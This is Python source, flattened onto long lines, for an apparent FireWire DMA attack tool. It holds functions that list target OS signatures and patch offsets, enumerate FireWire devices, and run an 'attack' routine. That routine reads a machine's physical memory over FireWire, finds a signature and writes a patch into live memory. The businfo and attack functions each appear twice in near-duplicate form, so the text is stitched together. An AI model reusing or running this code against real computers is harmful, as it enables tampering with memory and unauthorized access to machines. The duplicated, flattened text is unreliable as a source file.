def printdetails(target): # TODO: Fix this fugly method ''' Prints details about a target ''' info('The target module contains the following signatures:') separator() print('\tVersions:\t' + ', '.join(target['versions']).rstrip(', ')) print('\tArchitectures:\t' + ', ' .join(target['architectures']).rstrip(', ')) for signature in target['signatures']: offsets = '\n\t\tOffsets:\t' for offset in signature['offsets']: offsets += hex(offset) if not offset is signature['offsets'][-1]: offsets += ', ' print(offsets) sig = '\t\tSignature:\t0x' ioffs = 0 patch = 0 poffs = 0 for chunk in signature['chunks']: diff = chunk['internaloffset'] - bytelen(chunk['chunk']) - 1 - ioffs sig += '__' * diff ioffs = chunk['internaloffset'] sig += '{0:x}'.format(chunk['chunk']) try: patch = chunk['patch'] poffs = chunk['patchoffset'] except KeyError: pass print(sig) print('\t\tPatch:\t\t{0:#x}'.format(patch)) print('\t\tPatch offset:\t{0:#x}'.format(poffs)) separator()
def list_targets(targets, details=False): info('Available targets:') separator() for number, target in enumerate(targets, 1): info(target['OS'] + ': ' + target['name'], sign = number) if details: printdetails(target) if not details: # Avoid duplicate separator separator()
def businfo(self): ''' Prints all available information of the devices connected to the FireWire bus, looks up missing vendor names & populates the internal vendor list ''' if not self._devices: fail('No FireWire devices detected on the bus') msg('*', 'FireWire devices on the bus (names may appear blank):') separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id vendorname = device.vendor_name.decode(settings.encoding) # Resolve if name not given by device vendor ID if not vendorname: vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(settings.encoding) msg(n, 'Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'.format(vendorname, vid, productname, pid)) separator()
def businfo(self): """ Prints all available information of the devices connected to the FW bus, looks up missing vendor names & populates the internal vendor list """ if not self._devices: fail("No FireWire devices detected on the bus") info("FireWire devices on the bus (names may appear blank):") separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id vendorname = device.vendor_name.decode(cfg.encoding) # Resolve if name not given by device vendor ID if not vendorname: vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(cfg.encoding) info( "Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})".format(vendorname, vid, productname, pid), sign=n, ) separator()
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not settings.filemode: try: fw = FireWire() except IOError: fail( 'Could not initialize FireWire. Are the modules loaded into the kernel?' ) start = time.time() device_index = fw.select_device() # Print selection msg('*', 'Selected device: {0}'.format(fw.vendors[device_index])) # List targets msg('*', 'Available targets:') separator() for number, target in enumerate(targets, 1): msg(number, target['OS'] + ': ' + target['name']) separator() # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name']) if settings.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if settings.filemode: device = MemoryFile(settings.filename, settings.PAGESIZE) memsize = os.path.getsize(settings.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = settings.memsize # Perform parallel search for all signatures for each OS at the known offsets msg('*', 'DMA shields down. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / settings.PAGESIZE) msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page)) if not settings.dry_run: success = patch(device, address, chunks) if success: msg('*', 'Write-back verified; patching successful') msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: msg( '!', 'Write-back could not be verified; patching may have been unsuccessful.' ) #Clean up device.close() return address, page
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not settings.filemode: try: fw = FireWire() except IOError: fail('Could not initialize FireWire. Are the modules loaded into the kernel?') start = time.time() device_index = fw.select_device() # Print selection msg('*', 'Selected device: {0}'.format(fw.vendors[device_index])) # List targets msg('*', 'Available targets:') separator() for number, target in enumerate(targets, 1): msg(number, target['OS'] + ': ' + target['name']) separator() # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name']) if settings.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if settings.filemode: device = MemoryFile(settings.filename, settings.PAGESIZE) memsize = os.path.getsize(settings.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = settings.memsize # Perform parallel search for all signatures for each OS at the known offsets msg('*', 'DMA shields down. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / settings.PAGESIZE) msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page)) if not settings.dry_run: success = patch(device, address, chunks) if success: msg('*', 'Write-back verified; patching successful') msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: msg('!', 'Write-back could not be verified; patching may have been unsuccessful.') #Clean up device.close() return address, page